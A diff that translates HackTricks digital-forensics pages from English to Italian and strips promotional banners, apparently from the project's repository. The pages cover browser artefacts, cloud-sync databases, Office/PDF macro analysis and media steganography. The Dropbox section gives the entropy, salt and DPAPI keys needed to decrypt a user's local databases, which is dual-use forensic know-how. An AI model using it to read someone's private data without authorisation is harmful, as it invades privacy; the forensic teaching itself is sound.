relativi dettagli per un facile accesso e gestione. -### Metadata Storage +### Archiviazione dei Metadati -Metadata for Internet Explorer is stored in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (with VX being V01, V16, or V24). Accompanying this, the `V01.log` file might show modification time discrepancies with `WebcacheVX.data`, indicating a need for repair using `esentutl /r V01 /d`. This metadata, housed in an ESE database, can be recovered and inspected using tools like photorec and [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), respectively. Within the **Containers** table, one can discern the specific tables or containers where each data segment is stored, including cache details for other Microsoft tools such as Skype. +I metadati per Internet Explorer sono memorizzati in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (con VX che può essere V01, V16 o V24). Insieme a questo, il file `V01.log` potrebbe mostrare discrepanze nei tempi di modifica con `WebcacheVX.data`, indicando la necessità di riparazione utilizzando `esentutl /r V01 /d`. Questi metadati, contenuti in un database ESE, possono essere recuperati e ispezionati utilizzando strumenti come photorec e [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), rispettivamente. All'interno della tabella **Containers**, è possibile discernere le specifiche tabelle o contenitori in cui è memorizzato ciascun segmento di dati, inclusi i dettagli della cache per altri strumenti Microsoft come Skype. -### Cache Inspection +### Ispezione della Cache -The [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) tool allows for cache inspection, requiring the cache data extraction folder location. Metadata for cache includes filename, directory, access count, URL origin, and timestamps indicating cache creation, access, modification, and expiry times. +Lo strumento [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) consente l'ispezione della cache, richiedendo la posizione della cartella di estrazione dei dati della cache. I metadati per la cache includono nome del file, directory, conteggio degli accessi, origine URL e timestamp che indicano i tempi di creazione, accesso, modifica e scadenza della cache. -### Cookies Management +### Gestione dei Cookie -Cookies can be explored using [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), with metadata encompassing names, URLs, access counts, and various time-related details. Persistent cookies are stored in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, with session cookies residing in memory. +I cookie possono essere esplorati utilizzando [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), con metadati che comprendono nomi, URL, conteggi di accesso e vari dettagli temporali. I cookie persistenti sono memorizzati in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, mentre i cookie di sessione risiedono in memoria. -### Download Details +### Dettagli dei Download -Downloads metadata is accessible via [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), with specific containers holding data like URL, file type, and download location. Physical files can be found under `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`. +I metadati dei download sono accessibili tramite [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), con contenitori specifici che contengono dati come URL, tipo di file e posizione di download. I file fisici possono essere trovati in `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`. -### Browsing History +### Cronologia di Navigazione -To review browsing history, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) can be used, requiring the location of extracted history files and configuration for Internet Explorer. Metadata here includes modification and access times, along with access counts. History files are located in `%userprofile%\Appdata\Local\Microsoft\Windows\History`. +Per rivedere la cronologia di navigazione, è possibile utilizzare [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html), richiedendo la posizione dei file di cronologia estratti e la configurazione per Internet Explorer. I metadati qui includono i tempi di modifica e accesso, insieme ai conteggi di accesso. I file di cronologia si trovano in `%userprofile%\Appdata\Local\Microsoft\Windows\History`. -### Typed URLs +### URL Digitati -Typed URLs and their usage timings are stored within the registry under `NTUSER.DAT` at `Software\Microsoft\InternetExplorer\TypedURLs` and `Software\Microsoft\InternetExplorer\TypedURLsTime`, tracking the last 50 URLs entered by the user and their last input times. +Gli URL digitati e i loro tempi di utilizzo sono memorizzati nel registro sotto `NTUSER.DAT` in `Software\Microsoft\InternetExplorer\TypedURLs` e `Software\Microsoft\InternetExplorer\TypedURLsTime`, tracciando gli ultimi 50 URL inseriti dall'utente e i loro ultimi tempi di input. ## Microsoft Edge -Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The paths for various data types are: +Microsoft Edge memorizza i dati utente in `%userprofile%\Appdata\Local\Packages`. I percorsi per vari tipi di dati sono: - **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` - **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` @@ -143,38 +133,30 @@ Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The p ## Safari -Safari data is stored at `/Users/$User/Library/Safari`. Key files include: +I dati di Safari sono memorizzati in `/Users/$User/Library/Safari`. I file chiave includono: -- **History.db**: Contains `history_visits` and `history_items` tables with URLs and visit timestamps. Use `sqlite3` to query. -- **Downloads.plist**: Information about downloaded files. -- **Bookmarks.plist**: Stores bookmarked URLs. -- **TopSites.plist**: Most frequently visited sites. -- **Extensions.plist**: List of Safari browser extensions. Use `plutil` or `pluginkit` to retrieve. -- **UserNotificationPermissions.plist**: Domains permitted to push notifications. Use `plutil` to parse. -- **LastSession.plist**: Tabs from the last session. Use `plutil` to parse. -- **Browser’s built-in anti-phishing**: Check using `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. A response of 1 indicates the feature is active. +- **History.db**: Contiene le tabelle `history_visits` e `history_items` con URL e timestamp delle visite. Usa `sqlite3` per interrogare. +- **Downloads.plist**: Informazioni sui file scaricati. +- **Bookmarks.plist**: Memorizza gli URL dei segnalibri. +- **TopSites.plist**: Siti più visitati. +- **Extensions.plist**: Elenco delle estensioni del browser Safari. Usa `plutil` o `pluginkit` per recuperare. +- **UserNotificationPermissions.plist**: Domini autorizzati a inviare notifiche. Usa `plutil` per analizzare. +- **LastSession.plist**: Schede dell'ultima sessione. Usa `plutil` per analizzare. +- **Browser’s built-in anti-phishing**: Controlla utilizzando `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Una risposta di 1 indica che la funzione è attiva. ## Opera -Opera's data resides in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` and shares Chrome's format for history and downloads. +I dati di Opera risiedono in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` e condividono il formato di Chrome per cronologia e download. -- **Browser’s built-in anti-phishing**: Verify by checking if `fraud_protection_enabled` in the Preferences file is set to `true` using `grep`. +- **Browser’s built-in anti-phishing**: Verifica controllando se `fraud_protection_enabled` nel file Preferences è impostato su `true` utilizzando `grep`. -These paths and commands are crucial for accessing and understanding the browsing data stored by different web browsers. +Questi percorsi e comandi sono cruciali per accedere e comprendere i dati di navigazione memorizzati dai diversi browser web. -## References +## Riferimenti - [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a) - [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/) - [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file) -- **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123** - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +- **Libro: OS X Incident Response: Scripting and Analysis Di Jaron Bradley pag 123** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md index c22a6f566..655283ac9 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md @@ -1,50 +1,42 @@ {{#include ../../../banners/hacktricks-training.md}} -Some things that could be useful to debug/deobfuscate a malicious VBS file: +Alcune cose che potrebbero essere utili per eseguire il debug/deobfuscate un file VBS malevolo: ## echo - ```bash Wscript.Echo "Like this?" ``` - -## Commnets - +## Commenti ```bash ' this is a comment ``` - ## Test - ```bash cscript.exe file.vbs ``` - -## Write data to a file - +## Scrivere dati in un file ```js Function writeBinary(strBinary, strPath) - Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") +Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") - ' below lines purpose: checks that write access is possible! - Dim oTxtStream +' below lines purpose: checks that write access is possible! +Dim oTxtStream - On Error Resume Next - Set oTxtStream = oFSO.createTextFile(strPath) +On Error Resume Next +Set oTxtStream = oFSO.createTextFile(strPath) - If Err.number <> 0 Then MsgBox(Err.message) : Exit Function - On Error GoTo 0 +If Err.number <> 0 Then MsgBox(Err.message) : Exit Function +On Error GoTo 0 - Set oTxtStream = Nothing - ' end check of write access +Set oTxtStream = Nothing +' end check of write access - With oFSO.createTextFile(strPath) - .Write(strBinary) - .Close - End With +With oFSO.createTextFile(strPath) +.Write(strBinary) +.Close +End With End Function ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md index 99792162b..189f0de31 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md @@ -2,113 +2,96 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## OneDrive -In Windows, you can find the OneDrive folder in `\Users\\AppData\Local\Microsoft\OneDrive`. And inside `logs\Personal` it's possible to find the file `SyncDiagnostics.log` which contains some interesting data regarding the synchronized files: +In Windows, puoi trovare la cartella OneDrive in `\Users\\AppData\Local\Microsoft\OneDrive`. E all'interno di `logs\Personal` è possibile trovare il file `SyncDiagnostics.log` che contiene alcuni dati interessanti riguardo ai file sincronizzati: -- Size in bytes -- Creation date -- Modification date -- Number of files in the cloud -- Number of files in the folder -- **CID**: Unique ID of the OneDrive user -- Report generation time -- Size of the HD of the OS +- Dimensione in byte +- Data di creazione +- Data di modifica +- Numero di file nel cloud +- Numero di file nella cartella +- **CID**: ID univoco dell'utente OneDrive +- Tempo di generazione del report +- Dimensione dell'HD del sistema operativo -Once you have found the CID it's recommended to **search files containing this ID**. You may be able to find files with the name: _**\.ini**_ and _**\.dat**_ that may contain interesting information like the names of files synchronized with OneDrive. +Una volta trovato il CID, è consigliato **cercare file contenenti questo ID**. Potresti essere in grado di trovare file con il nome: _**\.ini**_ e _**\.dat**_ che potrebbero contenere informazioni interessanti come i nomi dei file sincronizzati con OneDrive. ## Google Drive -In Windows, you can find the main Google Drive folder in `\Users\\AppData\Local\Google\Drive\user_default`\ -This folder contains a file called Sync_log.log with information like the email address of the account, filenames, timestamps, MD5 hashes of the files, etc. Even deleted files appear in that log file with its corresponding MD5. +In Windows, puoi trovare la cartella principale di Google Drive in `\Users\\AppData\Local\Google\Drive\user_default`\ +Questa cartella contiene un file chiamato Sync_log.log con informazioni come l'indirizzo email dell'account, nomi dei file, timestamp, hash MD5 dei file, ecc. Anche i file eliminati appaiono in quel file di log con il corrispondente MD5. -The file **`Cloud_graph\Cloud_graph.db`** is a sqlite database which contains the table **`cloud_graph_entry`**. In this table you can find the **name** of the **synchronized** **files**, modified time, size, and the MD5 checksum of the files. +Il file **`Cloud_graph\Cloud_graph.db`** è un database sqlite che contiene la tabella **`cloud_graph_entry`**. In questa tabella puoi trovare il **nome** dei **file sincronizzati**, il tempo di modifica, la dimensione e il checksum MD5 dei file. -The table data of the database **`Sync_config.db`** contains the email address of the account, the path of the shared folders and the Google Drive version. +I dati della tabella del database **`Sync_config.db`** contengono l'indirizzo email dell'account, il percorso delle cartelle condivise e la versione di Google Drive. ## Dropbox -Dropbox uses **SQLite databases** to manage the files. In this\ -You can find the databases in the folders: +Dropbox utilizza **database SQLite** per gestire i file. In questo\ +Puoi trovare i database nelle cartelle: - `\Users\\AppData\Local\Dropbox` - `\Users\\AppData\Local\Dropbox\Instance1` - `\Users\\AppData\Roaming\Dropbox` -And the main databases are: +E i database principali sono: - Sigstore.dbx - Filecache.dbx - Deleted.dbx - Config.dbx -The ".dbx" extension means that the **databases** are **encrypted**. Dropbox uses **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]()) +L'estensione ".dbx" significa che i **database** sono **criptati**. Dropbox utilizza **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]()) -To understand better the encryption that Dropbox uses you can read [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). +Per comprendere meglio la crittografia che utilizza Dropbox, puoi leggere [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). -However, the main information is: +Tuttavia, le informazioni principali sono: - **Entropy**: d114a55212655f74bd772e37e64aee9b - **Salt**: 0D638C092E8B82FC452883F95F355B8E - **Algorithm**: PBKDF2 - **Iterations**: 1066 -Apart from that information, to decrypt the databases you still need: +A parte queste informazioni, per decriptare i database hai ancora bisogno di: -- The **encrypted DPAPI key**: You can find it in the registry inside `NTUSER.DAT\Software\Dropbox\ks\client` (export this data as binary) -- The **`SYSTEM`** and **`SECURITY`** hives -- The **DPAPI master keys**: Which can be found in `\Users\\AppData\Roaming\Microsoft\Protect` -- The **username** and **password** of the Windows user +- La **chiave DPAPI criptata**: Puoi trovarla nel registro all'interno di `NTUSER.DAT\Software\Dropbox\ks\client` (esporta questi dati come binari) +- I rami **`SYSTEM`** e **`SECURITY`** +- Le **chiavi master DPAPI**: Che possono essere trovate in `\Users\\AppData\Roaming\Microsoft\Protect` +- Il **nome utente** e la **password** dell'utente Windows -Then you can use the tool [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:** +Poi puoi usare lo strumento [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:** ![](<../../../images/image (448).png>) -If everything goes as expected, the tool will indicate the **primary key** that you need to **use to recover the original one**. To recover the original one, just use this [cyber_chef receipt]() putting the primary key as the "passphrase" inside the receipt. - -The resulting hex is the final key used to encrypt the databases which can be decrypted with: +Se tutto va come previsto, lo strumento indicherà la **chiave primaria** che devi **usare per recuperare quella originale**. Per recuperare quella originale, usa semplicemente questa [ricetta cyber_chef]() mettendo la chiave primaria come "passphrase" all'interno della ricetta. +L'hex risultante è la chiave finale utilizzata per criptare i database che può essere decriptata con: ```bash sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db ``` +Il database **`config.dbx`** contiene: -The **`config.dbx`** database contains: +- **Email**: L'email dell'utente +- **usernamedisplayname**: Il nome dell'utente +- **dropbox_path**: Percorso dove si trova la cartella dropbox +- **Host_id: Hash** utilizzato per autenticarsi nel cloud. Questo può essere revocato solo dal web. +- **Root_ns**: Identificatore dell'utente -- **Email**: The email of the user -- **usernamedisplayname**: The name of the user -- **dropbox_path**: Path where the dropbox folder is located -- **Host_id: Hash** used to authenticate to the cloud. This can only be revoked from the web. -- **Root_ns**: User identifier +Il database **`filecache.db`** contiene informazioni su tutti i file e le cartelle sincronizzati con Dropbox. La tabella `File_journal` è quella con più informazioni utili: -The **`filecache.db`** database contains information about all the files and folders synchronized with Dropbox. The table `File_journal` is the one with more useful information: +- **Server_path**: Percorso dove si trova il file all'interno del server (questo percorso è preceduto dall'`host_id` del client). +- **local_sjid**: Versione del file +- **local_mtime**: Data di modifica +- **local_ctime**: Data di creazione -- **Server_path**: Path where the file is located inside the server (this path is preceded by the `host_id` of the client). -- **local_sjid**: Version of the file -- **local_mtime**: Modification date -- **local_ctime**: Creation date +Altre tabelle all'interno di questo database contengono informazioni più interessanti: -Other tables inside this database contain more interesting information: - -- **block_cache**: hash of all the files and folders of Dropbox -- **block_ref**: Related the hash ID of the table `block_cache` with the file ID in the table `file_journal` -- **mount_table**: Share folders of dropbox -- **deleted_fields**: Dropbox deleted files +- **block_cache**: hash di tutti i file e le cartelle di Dropbox +- **block_ref**: Collega l'ID hash della tabella `block_cache` con l'ID file nella tabella `file_journal` +- **mount_table**: Cartelle condivise di dropbox +- **deleted_fields**: File eliminati da Dropbox - **date_added** -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md index 34433ce87..666bf6c4e 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md @@ -1,36 +1,18 @@ -# Office file analysis +# Analisi dei file Office {{#include ../../../banners/hacktricks-training.md}} -
+Per ulteriori informazioni controlla [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Questo è solo un riassunto: -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Microsoft ha creato molti formati di documenti office, con due tipi principali che sono i **formati OLE** (come RTF, DOC, XLS, PPT) e i **formati Office Open XML (OOXML)** (come DOCX, XLSX, PPTX). Questi formati possono includere macro, rendendoli obiettivi per phishing e malware. I file OOXML sono strutturati come contenitori zip, consentendo l'ispezione tramite decompressione, rivelando la gerarchia di file e cartelle e i contenuti dei file XML. -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +Per esplorare le strutture dei file OOXML, viene fornito il comando per decomprimere un documento e la struttura di output. Tecniche per nascondere dati in questi file sono state documentate, indicando un'innovazione continua nella dissimulazione dei dati all'interno delle sfide CTF. -For further information check [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). This is just a sumary: - -Microsoft has created many office document formats, with two main types being **OLE formats** (like RTF, DOC, XLS, PPT) and **Office Open XML (OOXML) formats** (such as DOCX, XLSX, PPTX). These formats can include macros, making them targets for phishing and malware. OOXML files are structured as zip containers, allowing inspection through unzipping, revealing the file and folder hierarchy and XML file contents. - -To explore OOXML file structures, the command to unzip a document and the output structure are given. Techniques for hiding data in these files have been documented, indicating ongoing innovation in data concealment within CTF challenges. - -For analysis, **oletools** and **OfficeDissector** offer comprehensive toolsets for examining both OLE and OOXML documents. These tools help in identifying and analyzing embedded macros, which often serve as vectors for malware delivery, typically downloading and executing additional malicious payloads. Analysis of VBA macros can be conducted without Microsoft Office by utilizing Libre Office, which allows for debugging with breakpoints and watch variables. - -Installation and usage of **oletools** are straightforward, with commands provided for installing via pip and extracting macros from documents. Automatic execution of macros is triggered by functions like `AutoOpen`, `AutoExec`, or `Document_Open`. +Per l'analisi, **oletools** e **OfficeDissector** offrono set di strumenti completi per esaminare sia i documenti OLE che OOXML. Questi strumenti aiutano a identificare e analizzare le macro incorporate, che spesso fungono da vettori per la consegna di malware, tipicamente scaricando ed eseguendo payload dannosi aggiuntivi. L'analisi delle macro VBA può essere condotta senza Microsoft Office utilizzando Libre Office, che consente il debug con punti di interruzione e variabili di osservazione. +L'installazione e l'uso di **oletools** sono semplici, con comandi forniti per l'installazione tramite pip e l'estrazione di macro dai documenti. L'esecuzione automatica delle macro è attivata da funzioni come `AutoOpen`, `AutoExec` o `Document_Open`. ```bash sudo pip3 install -U oletools olevba -c /path/to/document #Extract macros ``` - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md index 79799f2d8..5b6235102 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md @@ -1,28 +1,20 @@ -# PDF File analysis +# Analisi dei file PDF {{#include ../../../banners/hacktricks-training.md}} -
+**Per ulteriori dettagli controlla:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Il formato PDF è noto per la sua complessità e il potenziale di nascondere dati, rendendolo un punto focale per le sfide forensi CTF. Combina elementi di testo semplice con oggetti binari, che potrebbero essere compressi o crittografati, e può includere script in linguaggi come JavaScript o Flash. Per comprendere la struttura del PDF, si può fare riferimento al [materiale introduttivo di Didier Stevens](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), o utilizzare strumenti come un editor di testo o un editor specifico per PDF come Origami. -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +Per un'esplorazione o manipolazione approfondita dei PDF, sono disponibili strumenti come [qpdf](https://github.com/qpdf/qpdf) e [Origami](https://github.com/mobmewireless/origami-pdf). I dati nascosti all'interno dei PDF potrebbero essere celati in: -**For further details check:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) +- Livelli invisibili +- Formato di metadati XMP di Adobe +- Generazioni incrementali +- Testo dello stesso colore dello sfondo +- Testo dietro immagini o immagini sovrapposte +- Commenti non visualizzati -The PDF format is known for its complexity and potential for concealing data, making it a focal point for CTF forensics challenges. It combines plain-text elements with binary objects, which might be compressed or encrypted, and can include scripts in languages like JavaScript or Flash. To understand PDF structure, one can refer to Didier Stevens's [introductory material](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), or use tools like a text editor or a PDF-specific editor such as Origami. - -For in-depth exploration or manipulation of PDFs, tools like [qpdf](https://github.com/qpdf/qpdf) and [Origami](https://github.com/mobmewireless/origami-pdf) are available. Hidden data within PDFs might be concealed in: - -- Invisible layers -- XMP metadata format by Adobe -- Incremental generations -- Text with the same color as the background -- Text behind images or overlapping images -- Non-displayed comments - -For custom PDF analysis, Python libraries like [PeepDF](https://github.com/jesparza/peepdf) can be used to craft bespoke parsing scripts. Further, the PDF's potential for hidden data storage is so vast that resources like the NSA guide on PDF risks and countermeasures, though no longer hosted at its original location, still offer valuable insights. A [copy of the guide](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) and a collection of [PDF format tricks](https://github.com/corkami/docs/blob/master/PDF/PDF.md) by Ange Albertini can provide further reading on the subject. +Per un'analisi personalizzata dei PDF, si possono utilizzare librerie Python come [PeepDF](https://github.com/jesparza/peepdf) per creare script di parsing su misura. Inoltre, il potenziale del PDF per la memorizzazione di dati nascosti è così vasto che risorse come la guida della NSA sui rischi e le contromisure dei PDF, sebbene non più ospitata nella sua posizione originale, offrono ancora preziose informazioni. Una [copia della guida](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) e una raccolta di [trucchi sul formato PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) di Ange Albertini possono fornire ulteriori letture sull'argomento. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md index 6108df028..e75c7f967 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md @@ -1,9 +1,9 @@ {{#include ../../../banners/hacktricks-training.md}} -**PNG files** are highly regarded in **CTF challenges** for their **lossless compression**, making them ideal for embedding hidden data. Tools like **Wireshark** enable the analysis of PNG files by dissecting their data within network packets, revealing embedded information or anomalies. +I file **PNG** sono molto apprezzati nelle **sfide CTF** per la loro **compressione senza perdita**, rendendoli ideali per incorporare dati nascosti. Strumenti come **Wireshark** consentono l'analisi dei file PNG dissecando i loro dati all'interno dei pacchetti di rete, rivelando informazioni incorporate o anomalie. -For checking PNG file integrity and repairing corruption, **pngcheck** is a crucial tool, offering command-line functionality to validate and diagnose PNG files ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). When files are beyond simple fixes, online services like [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) provide a web-based solution for **repairing corrupted PNGs**, aiding in the recovery of crucial data for CTF participants. +Per controllare l'integrità dei file PNG e riparare la corruzione, **pngcheck** è uno strumento cruciale, che offre funzionalità da riga di comando per convalidare e diagnosticare i file PNG ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Quando i file sono oltre semplici riparazioni, servizi online come [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) forniscono una soluzione web per **riparare PNG corrotti**, aiutando nel recupero di dati cruciali per i partecipanti al CTF. -These strategies underscore the importance of a comprehensive approach in CTFs, utilizing a blend of analytical tools and repair techniques to uncover and recover hidden or lost data. +Queste strategie sottolineano l'importanza di un approccio completo nei CTF, utilizzando un mix di strumenti analitici e tecniche di riparazione per scoprire e recuperare dati nascosti o persi. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md index a1e143cb0..f3aa85528 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md @@ -1,29 +1,17 @@ {{#include ../../../banners/hacktricks-training.md}} -
+**La manipolazione di file audio e video** è un elemento fondamentale nelle **sfide forensi CTF**, sfruttando **steganografia** e analisi dei metadati per nascondere o rivelare messaggi segreti. Strumenti come **[mediainfo](https://mediaarea.net/en/MediaInfo)** e **`exiftool`** sono essenziali per ispezionare i metadati dei file e identificare i tipi di contenuto. -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: +Per le sfide audio, **[Audacity](http://www.audacityteam.org/)** si distingue come uno strumento principale per visualizzare forme d'onda e analizzare spettrogrammi, essenziali per scoprire testi codificati nell'audio. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** è altamente raccomandato per un'analisi dettagliata degli spettrogrammi. **Audacity** consente la manipolazione audio come rallentare o invertire tracce per rilevare messaggi nascosti. **[Sox](http://sox.sourceforge.net/)**, un'utilità da riga di comando, eccelle nella conversione e modifica di file audio. -{% embed url="https://academy.8ksec.io/" %} +La manipolazione dei **Bit meno significativi (LSB)** è una tecnica comune nella steganografia audio e video, sfruttando i chunk di dimensioni fisse dei file multimediali per incorporare dati in modo discreto. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** è utile per decodificare messaggi nascosti come **toni DTMF** o **codice Morse**. -**Audio and video file manipulation** is a staple in **CTF forensics challenges**, leveraging **steganography** and metadata analysis to hide or reveal secret messages. Tools such as **[mediainfo](https://mediaarea.net/en/MediaInfo)** and **`exiftool`** are essential for inspecting file metadata and identifying content types. +Le sfide video spesso coinvolgono formati contenitore che raggruppano flussi audio e video. **[FFmpeg](http://ffmpeg.org/)** è il punto di riferimento per analizzare e manipolare questi formati, capace di demultiplexare e riprodurre contenuti. Per gli sviluppatori, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integra le capacità di FFmpeg in Python per interazioni avanzate scriptabili. -For audio challenges, **[Audacity](http://www.audacityteam.org/)** stands out as a premier tool for viewing waveforms and analyzing spectrograms, essential for uncovering text encoded in audio. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** is highly recommended for detailed spectrogram analysis. **Audacity** allows for audio manipulation like slowing down or reversing tracks to detect hidden messages. **[Sox](http://sox.sourceforge.net/)**, a command-line utility, excels in converting and editing audio files. +Questa gamma di strumenti sottolinea la versatilità richiesta nelle sfide CTF, dove i partecipanti devono impiegare un ampio spettro di 